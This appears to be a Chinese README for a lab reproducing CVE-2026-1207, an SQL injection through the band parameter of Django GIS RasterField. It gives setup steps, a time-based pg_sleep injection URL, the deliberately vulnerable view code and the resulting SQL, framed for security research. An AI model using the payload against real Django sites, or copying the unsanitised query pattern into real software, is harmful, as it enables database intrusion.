漏洞类型: SQL 注入 (SQL Injection)
影响组件: django.contrib.gis RasterField
当使用 Django GIS 的 RasterField 进行查询时,band 参数被直接拼接到 SQL 语句中,导致 SQL 注入漏洞。攻击者可通过构造恶意的 band 参数值,注入任意 SQL 代码。
CVE-2026-1207/
├── .devcontainer/ # VSCode DevContainer 配置
├── .vscode/ # VSCode 配置
├── vuln/ # 漏洞演示应用
│ ├── models.py # 包含 RasterField 的模型
│ ├── views.py # 漏洞触发点
│ └── migrations/ # 数据库迁移文件
├── web/ # Django 项目配置
├── manage.py
├── README.md
该漏洞项目使用 VSCode 的 devcontainer 进行构建。
用 VS Code 打开已经存在的项目根目录(包含 .devcontainer 文件夹)。
按 Ctrl+Shift+P(Windows/Linux)或 Cmd+Shift+P(Mac)
输入 Remote-Containers: Reopen in Container
VS Code 会读取 .devcontainer 配置并构建容器(首次构建可能需要几分钟)
⚠️ 如果 Dockerfile 或依赖更新过,可以选择 Remote-Containers: Rebuild Container,确保使用最新环境。
打开命令面板 Ctrl+Shift+P
输入 Tasks: Run Task
选择 django:start(任务已在 .vscode/tasks.json 配置)
这个任务会在容器内启动 Django 开发服务器
默认监听 0.0.0.0:8087
打开浏览器访问:
http://localhost:8087
第一次运行可能需要执行数据库迁移:
python manage.py migrate
漏洞分析详情发表在 先知https://xz.aliyun.com/news/91993
访问以下 URL 触发 SQL 注入:
http://localhost:8087/book/search?band=1);select%20%271%27||pg_sleep(3)%20--
观察响应时间,正常请求应立即返回,注入请求会延迟约 3 秒。
def get(self, request: HttpRequest):
band = request.GET.get("band", 1) # ← 未经过滤的用户输入
rast = GDALRaster(...)
qs = RasterModel.objects.filter(rast__contains=(rast, band)) # ← band 直接传入查询
print(qs.query) # ← 查看生成的 SQL
qs.count()
return HttpResponse("book app")
SELECT ... FROM vuln_rastermodel
WHERE ST_Contains("vuln_rastermodel"."rast", ST_ContainsParam(..., 1);select '1'||pg_sleep(3) --))
本项目仅供安全研究和教育目的使用。请勿在未经授权的系统上使用。